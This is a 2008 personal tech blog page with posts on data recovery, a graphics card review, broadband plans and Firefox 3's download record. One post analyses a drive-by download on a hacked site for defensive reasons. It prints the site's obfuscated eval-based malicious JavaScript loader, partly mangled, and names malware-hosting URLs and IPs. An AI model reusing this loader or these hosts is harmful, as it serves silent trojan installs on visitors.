Aug 15, 2008

Some Useful Data Recovery Tips

Focus of the post:- Share my data recovery experience


  • Case I - Software Fault
One fine day i was just reading about NTFS partition in the OS Dinasaur book by Galvin[out of the 3 writers this is the easiest name to pronounce] for my endsem exams.I just read the line the cluster size[allocation unit] is configured when an NTFS partiton is formatted.I remembered the default cluster size was 4096 bytes,reading the book i decided to test what other cluster sizes are available."NTFS does not deal with individual sectors of a disk but instead uses clusters as the unit of disk allocation.A cluster is number of disk sectors that is a power of 2.The cluster size is configured when an NTFS file system is formatted.The default cluster size is the sector size for voulmes upto 512MB[that is 512bytes],1KB for volumes upto 1GB,2KB for voulmes upto 2GB, and 4KB for larger volumes.This cluster size is much smaller than that for the 16-bit FAT file system,and the small size reduces the amount of internal fragmentation."[OS Principles,find more here and here].Before you make some opinion about me i must tell you that i am 100% adept with partitions and partitioning.I had 3 primary partitions and 9 logical drives in the extended partition.The last two logical drives were empty for linux distros so i deleted the last drive.As soon as i clicked on "delete logical drive" the system just restarted.After the reboot i found that i had lost 3 logical drives,one of the lost logical drives had 213GB of data.The berserk WDM utility  showed 1348GB of unallocated space more than the harddisk itself!!!.I cursed the Windows Disk Management utility, it reminded one of my friends talks,he used acronis disk director for partitioning and he lost one of his paritions in a similar way.I figured out the cause for this erratic behaviour - Never mix partitioning process with different utilites.This is a rare case and the whole data recovery process costed me at least 15marks but fortunately i got a short note question on NTFS in exams for 5 marks.I tested many data reovery utilites to recover 100% (213 GB of data).This isnt a detailed review of recovery softwares but contains a important word about each one of them.

Data recovery softwares have different modes depending on how you lost your data:-Format Recovery,Deleted Reovery(accidental file deletion),RAW Recovery(last resort),etc.Make sure you choose the correct one.

Ontrack Easy Recovery
I trusted this software the most.Initially the soft didnt recognize the filenames and folder structure.But after i converted the unallocated space into NTFS volume it recognized the data and folder structure(i didnt format it).Formatting the unallocated space would have made the data recovery more difficult.After going to Advanced Data Recovery>>Select Partition>>Advanced Options:-Select partition type(NTFS),Advanced Scan,>>Select Use MFT if you havent formatted the partition.Specifying this info the software immediately recognized my old NTFS volume.The software reovered 80% of my data.The software failed to recover saved web pages that were recoverd by file scavenger.

PC-Inspector file Recovery
Good old freeware with dirty Interface.Few audio and video files were corrupted while recovering!!.But the same files were recovered correctly by File Scavenger.The software did recover gigs of webpages but most of them were corrupted.Dont forget to spend a little time with the software interface.

File Scavenger v3.2
File Scavenger is an expert with NTFS partitions.It recovered 5gigs of documents and web pages which Ontrack and PC Inspector failed to recover.Except file scavenger no other utility was able to recover 100% of my data.It can recover data from even RAID arrays.

R-Studio
Lost file names and folder structure.Poor performance.

Acronis Recovery Expert bundled with Disk Director Suite
Initially i was looking for a utility that could undelete a partition but Active@ Partition Recovery just failed to work.I tested Acronis at last and laughed on myself.One click and everything was restored back to normal!!!.The partition was undeleted in just one click.I verified the integrity of files and everything was untouched.What a fool i have been all this time testing the capabilites of the recovery softwares.

Here are few utilites that failed to recover a single BIT of data
Active @ Partition Recovery
0&0 Disk Recovery v4.1 and bunch of other lesser known utils downloaded from the internet

Lessons learnt:-
Backup your data regularly.
NeverAvoid mixing partitioning process with different utilites like Acronis Disk Director,Partiton Magic and Windows Disk Management.
Pack your PC during exams.

Do's and Donts in case you loose a partition
  • Try to recover the partition with data recovery softwares that can undelete a partiton.Most of the data recovery softwares lack this mode so go for a dedicated one like Acronis Recovery Expert or DiskInternals Partition Recovery.This will save you the pain of scanning the whole file system and saving individual files.
  • Never format the partiton with a different or same file system in case you have a damaged file system or corrupt partition table
  • If the data recovery software doesnt pick up your lost drive then try to allocate the unallocated space and dont forget to check the "Do not format this partition" tab.
  • Case II - Some HDD fault
If you broke your IDE HDD's pin or managed to burn your HDD's DMA chip then HDD will be detected in BIOS but Windows wont load(you wont be able to reinstall either).I came across two hard disks of such fault.One of which was my own Seagate 7200.7 80GB IDE HDD[3 years ago] with broken pin and another was a SATA WD 250GB disk given to me by bro's friend  for data reovery[20 days back].Initially it looked to me some OS DMA fault or virus work but the problem was with HDD itself. I tried Acronis bootable DD CD,Hitachi's DFT,Seagate SeaTool,reinstalling windows but you will get an error everywhere.I wasnt surprised on the Linux Boot as i recovered by data three years back with a KNOPPIX Live CD.This time i used Ubuntu.If you have the faulty drive installed,Windows wont even load from a working drive with the working HDD installed as primary!.Linux will take a long time to boot and even a 1GB file will take hours to copy.
Lesson learnt:- Never loose hope.

  • Case III - Human Fault
I remember i was  struck with a data disaster 6 years ago when i was new with computers.At that time i was resizing my 12Gb partition to 15GB[secnodary partition] with Partition Magic,frustated by the long process i just pressed the reset button.Windows ME on the primary partition worked fine.Each bit of data was precious to me in the dialup age.I  used a utility called Drive Rescue by Alexander Grau to to recover the data .Its discontinued and it had the same interface as the new PC Inspector File Recovery by Convar.
Lessons learnt:-Always be patient.

Data Recovery using Linux

Recover data from Windows partitions using Linux [Download here]

The pdf "Recovering Data from Windows Systems by Using Linux" is short and precise, teaches the stuff quickly published by the Open Source Software Lab at Microsoft..Basically it teaches how to create images of partitions.Dont forget to read the comments at the original page.There are specialized linux distro's for forensic analysis and data recovery too like F.I.R.E.

HowtoGeek:Use Ubuntu Live CD to Backup Files from Your Dead Windows Computer
Darknet:Complete list of linux distro's for forensic analysis,data recovery and security

Dont forget to post your comments,questions and suggestions.

Aug 3, 2008

PNY 9600GT - GOD,Good,Bad or Ugly??



 
PNY VCG96512GXPB
Place of buy:-Some place in America
Date of buy:-Some time in July 
Price:-$150


I had a $150 budget for a mid-range graphics card.In India i was getting XFX 8600GT for $139(Rs 6000) so i told my friend to get a XFX 9600GT through his uncle in America.8800GT was out of budget for me and 9600GT filled the gap between 8800GT and 8600GTS so i emailed the newegg link for XFX 9600GT Extreme Edition which had the same price as standard edition.XFX gone mad with over 14 9600GT's in the lineup with Standard(650,1800)Extreme XT(680,1900),XXX(700,2000),XXX Alpha dog(740) Editions.Each of the models has its variants with difference in game bundle(Call of duty 4 or Company of Heroes),RAM and accessories.

-Standard model(4 variants) is available in plain 512MB,plain 512MB with CoH,with 1024MB DDR3 with either CoD4 or CoH;
-Extreme XT(2 variants) is available with CoH standard accessories,or with CoH better accessories bundle.
-XXX Edition(2 variants) is available with CoH,with CoD4
-XXX Alpha dog is available with either CoD4,CoH or Assasin's Creed...XFX confuses more with different model numbers for each


...but for my some reason my friend couldnt get a card through newegg and i ended up with a PNY 9600GT.So lets take a look at it......and i got lucky

Specs and chipset comparison table here and here


  
The package and accessories


 


The card is protected in a plastic enclosure and includes basic/standard accessories.Verto sounds a overclocking range but its plain vanilla 9600GT with stock speeds.The package includes:- an installation CD,quick installation guide,2 DVI->D-SUB/VGA convertors,S-Video Cable,Molex->PCI-E convertor,HDTV cable


Ripping it apart


SAMSUNG K4J52324QE-BJ1A rated for 1000Mhz


The cooling is just average when compared to other 9600GT's.Its all aluminium and uses a Chiefly Choice fanCC6010S12H(Chiefly Choice+W*L*H+S for sleeve bearing+12V+H for HighSpeed) with 4000RPM speed and 15.15CFM air flow.The card uses a reference cooler and its idle temp is around 44C.


Memory Chips

The Samsung chips are rated for 1Ghz and easily overclocks to the rated frequencies.There is no cooling on the memory chips so dont expect it to overclock further .


Warranty for America:XFX offers the best warranty options while PNY offers one year warranty which can be extended to three years if you register on their site.In India i wont be getting any warranty so i wont lend it to anyone


Pros
  • Conclusion:Good
  • The USP of this card is its price.This card is one of the cheapest 9600GT's.
  • Average overclocking.Overclocked Speeds :- 725/1000 (Not final,if you want you can bring this to cons).Its completely idiotic to pay more for factory overclocked cards...you pay more for what you can do yourselves..plus the card's been already overclocked so it wont overclock that much.
  •  There is no point in complaining the accessories bundle or the cooling part since its one of the most affordable 9600GTs.Entry level cards in this range from other brands offer the same bundle.
  • Attractive SLI option.
Cons
  • Limited warranty options when compared to XFX and game bundle.
EVGA 9600GTs and Palit 9600GT Sonic with HDMI and Displayport will be an attractive option too.

      9600GT around the Web
      AnandTech  Bringing Competition to Midrange  The GeForce 9600 GT Raises NVIDIA's Sub $200 Bar
      Toms: Nvidia's GeForce 9600 GT Tested Conclusion
      Ars Technica: reviews the NVIDIA GeForce 9600 GT
      LegitReviews:EVGA, Palit and XFX GeForce 9600 GT Video Card Review
      EVGA e-GeForce 9600 GT SSC Review
      LegitReviews:PNY Verto GeForce 9600 GT Video Card Review (June 5.2008)
      Tweaktown:PNY Verto GeForce 9600GT Graphics Card
      LegitReviews:Albatron GeForce 9600GT-512X Video Card Review
      PCPER: BFG GeForce 9600 GT 512MB Review - NVIDIA G94 Tested
      Fudzilla:XFX does three 9600GT's.htm 
      Fudzilla:Zotac officially launches DisplayPort 9600GT 
      Fudzilla:Zotac 9600GT has six outputs
      Fudzilla:9600GT shrunk to 55nm
      Fudzilla:Galaxy's low-profile 9600GT is available
      Fudzilla:Sparkle 9600 GT with a dual-fly cooler 
      Fudzilla:Asus OC Gear also with 9600GT
      Fudzilla:MSI N9600GT Diamond has 2GB of GDDR3 with Turbo button, Hybrid Freezer and Dr Mos
      Fudzilla:MSI's 9600GT Hybrid Freezer is overclocked
      Fudzilla:Vvikoo has 9600GT Turbo in copper
      Fudzilla:Gainward 9600GT 1024MB likes overclocking 
      Fudzilla:Sparkle puts 1GB on 9600GT 
      Fudzilla:XFX 9600 GT 700M XXX play hard tested
      Tweaktown:XFX GeForce 9600GT XXX Alpha Dog Edition
      Techtree:XFX 9600GT XXX Edition
      GeForce 9600 GT Triplet
      Shader Clock Overclocking Tutorial 
      Update 31st August: Amdzone: 24 XFX PVT96GYDF4 GeForce 9600GTs Overclocked



      About the card

      This card sucks . It is dead within 8 months. Never overclocked.Cabinet always open. Looks like it died of overheating after dust buildup in the heatsink.
      I dared to ignore this

      Jul 16, 2008

      Breedband for Rs125/- only

      Focus of the post:- BSNL  broadband for Rs125**

      BSNL Plan Advisor:-
      BSNL Home 125 - I want you Naked
      BSNL Home 250 - Empty your pockets
      BSNL Home 500 - One Night at Call Centre
      BSNL UL 750 - Hit Me 
      BSNL Home 1000 - Out of Mind
      BSNL Home 1800 - Inutile
      BSNL Home 3300 - There are some plans money can't buy

      Some popular sites designed for the plan:-
      m.gmail.com
      m.orkut.com
      wap.yahoo.com
      mobile.rediff.com
      wap.google.com
      bbc.co.uk/mobile
      mosh.nokia.mobi


      The plan was launched in the first quarter of 2008 .After getting an Airtel BB connection in Jan08 i never digged about broadband plans anymore and spotted this one through a Priety Zinta ad in Hindustan times.

      Startup cost - Download limit is ridiculous at 150MB.It should have been 400-450MB plus you have to shed some extra amount for modem too.Airtel and Reliance gives you a free broadband modem and most of their plans are zero rental[pay only when you call].For most of the BSNL plans the total startup cost will be a little high if you dont plan to use the landline.There are only few plans with zero fixed monthly charges for telephone:-
      • Home 500 Combo   [DL - 1.5GB, 256kbps-2mbps]
      • Home UL 750 plus  [DL - Unlimited , 256kbps]
      • Home UL 1350 plus[DL - Unlimited , 512kbps]
      DatanOne Tariff

      Jul 11, 2008

      3 mins of innocent browsing on the Wild Wild Web

      Focus of the post:- Drive by downloads by malicious javascript and iframes tags.

      Press the full screen button

      The hacked page of cinema-systemsindia.com,self proclaimed india's leading cinemagazine leads to a couple a silent trojan downloads.At the time of writing the post the trojans arent detected by any of the major antivirus firms except NOD32 (scan).AVG AV with its Link Scanner completely fails here. Internet Explorer users get completely owned but google and Firefox 3 users are warned about the malicious content on the page



                                                                                                             
      Using an updated antivirus system isnt a sufficient solution for a windows desktop system,the most surprising thing is that all the trojans downloaded from the hacked url were not detected by any of the major av's(scan1). The inbuilt heuristic scanning is pretty useless.
      Malware Stats (Kaspersky names) 
      havp2d.exe - 3/30 (-)  
      tpzhzx.exe - 7/33 (-)  
      svchddd.ex - 10/33 (Trojan-Spy.Win32.Zbot.dag)  
      file.bat - 5/33 (Trojan-Proxy.Win32.Small.mu)  
      lphcp1uj0egl5.exe - 8/33 (-)  
      scchost.exe - 16/33 (Trojan-Proxy.Win32.Small.sl)  
      index.exe - 11/33 - (-)  
      blphct1lj0ec4c.scr - 6/33(-)  
      phcp1uj0egl5.bmp - 3/33 (-)
      winlogon.exe - 5/33 (Trojan-Proxy.Win32.Small.st)

      Charitable IP's 
      87.118.117.138/ho.php (Trojan-Downloader.JS.Iframe)  
      neiron2009.com/check/vers155.php?q=1 (Trojan-Downloader.Win32.Winlagons.vb)

      Google and Firefox 3 prevented the malicious loading of the url.  
      The Google Diagnostic Page Stats on cinema-systemsindia.com page :- What happened when Google visited this site? Of the 33 pages we tested on the site over the past 90 days, 11 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 07/08/2008, and the last time suspicious content was found on this site was on 06/06/2008. Malicious software includes 12 trojan(s). Successful infection resulted in an average of 7 new processes on the target machine. Malicious software is hosted on 3 domain(s), including sum4count.net, 78.109.30.0, try-count.net. 1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including gate4clicks.net.  

      Spyware Wallpaper - The malware hides the wallpaper tab in Display Properties to prevent you from changing the wallapaper ,to bring it back make the following changes in registry:-


      REGEDIT4
      [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] 
      "NoDispBackgroundPage"=dword:00000000

      Fake Sysinternals Screensaver

      A modified fake sysinternals Blue Screen of Death screensaver with progress bar is installed by the malware.To prevent you from changing the screensaver,the malware hides the screensaver tab in display properties.Make the following registry changes.
      REGEDIT4
      [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] 
      "NoDispScrSavPage"=dword:00000000

      Malicious obfuscated Javascript,complete dissection of the url is here

      function tdoban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,18,23,53,49,39,44,25,33,54,0,0,0,0,
      0,0,9,2,46,21,56,42,26,48,35,6,1,17,16,24,30,58,3,4,43,12,51,61,27,37,14,29,32,0,0,0,0,38,0,8,5,20,60,47,28,52,7,45,19,2
      2,31,55,36,10,15,41,13,11,50,59,62,34,57,40,0);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--)
      {{w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}else{s=6}}}eval(r);
      }}tdoban('bB@5k978fhy8jFD8Jvf399@52kYtk97nhvxWfFambAD_INq9Cud_cADnlNqgfXx52vfGIV@G2oYZzIxTLRq8IoatYmYWjFDWIhq5VI7_Jtr52F
      MmI9YTC5UejFy_fPM5htqWF0unIE@mzX@5k9x5Fer9IjS4Qed972YGIV@G2kY9CPigbBqWIExTIpfG1RxWVkq_IvdGPh6gJFDwNNxTLVx_Joy5jBatf9@52A
      rTXmU_cADnlN@TCer') 


      Jul 4, 2008

      Firefox lovers set Guinness World Record - Series of events

      Focus of the post:-Series of events
      • Mozilla started a campaign on May 28 to set a Guinness World Record for the most number of software downloads in 24 hours with its Firefox 3 browser.Firefox community was asked to pledge to download the browser on the download day.
      • GOAL(Mozilla FAQ):Do we have to reach a specific number of downloads in order to set the record? This is the first record attempt of its kind so there is no set number. We'd really like to out do the number of Firefox 2 downloads on its launch day, which was 1.6 million. Let's shoot for 5 million--the sky is the limit!.
      Mozilla enthusiasts worldwide drove more than 1.7 million pledges to download Firefox 3 on Download Day, hosted regional download “fests,”and informed more than 43 million people through hosting Download Day affiliate buttons online.

      Firefox community email
      • The Mozilla servers were down for few hours on the download day.Read the minute by minute status update on CNET."Thanks to overwhelming demand we’ve passed through 14,000 downloads a minute! This will put us well into the tens of millions of downloads in a 24 hour period if we can sustain it. Each download is about 7MB so that’s around 13 Gigabits/s of just download traffic. Not too shabby!",the Mozilla site said.
      The download day started on June 17,2008 17:00 UTC/GMT - 22:30 IST.->>
      Firefox community email
      • Five hours after the release of Firefox 3,a security firm DV Labs/TippingPoint reported a critical vulnerability to Mozilla affecting affecting Firefox 3.0 as well as prior versions of Firefox 2.0.x. The vulnerability could allow an attacker to execute arbitrary code on visiting a malicious link.The same firm recently published an advisory related to Motorola RAZR JPG Processing Stack Overflow Vulnerability.The advisory will only be published once the vulnerability is patched by Mozilla.
      • At their busiest, the servers were handling more than 9,000 downloads per minute. Within five hours the number of downloads for version 3.0 exceeded the 1.6 million mark set by Firefox 2.0 in October 2006.
      • India download count too low @ 489,889 downloads for the download day.US @7,734,930;China @721,524;Iran @535,796;North Korea @000





          Firefox community email
          World Record Confirmed by Guinness on July 3,2008(Press Release):--->>"We did it! We set a Guinness World Record.Thanks to the support of the always amazing Mozilla community, we now hold a Guinness World Record for the most software downloaded in 24 hours. From 18:16 UTC on June 17, 2008 to 18:16 UTC on June 18, 2008, 8,002,530 people downloaded Firefox 3 and are now enjoying a safer, smarter and better Web"
          Mozilla FAQ about the validity of the record:-

          What does Mozilla have to provide Guinness to validate the record? We will provide the following:

          1. Signed statements of authentication from our judges showing that we've followed the rules and confirming our numbers.
          2. Video footage and photographs of our community members hosting Download Fests. Take pictures!!
          3. Download logs for a sample size of our downloads. We will internally host 10% of the downloads, retaining all of the logs for these downloads, and will use this as our sample set to extrapolate the actual download number and percentage of completed downloads.





          Firefox 3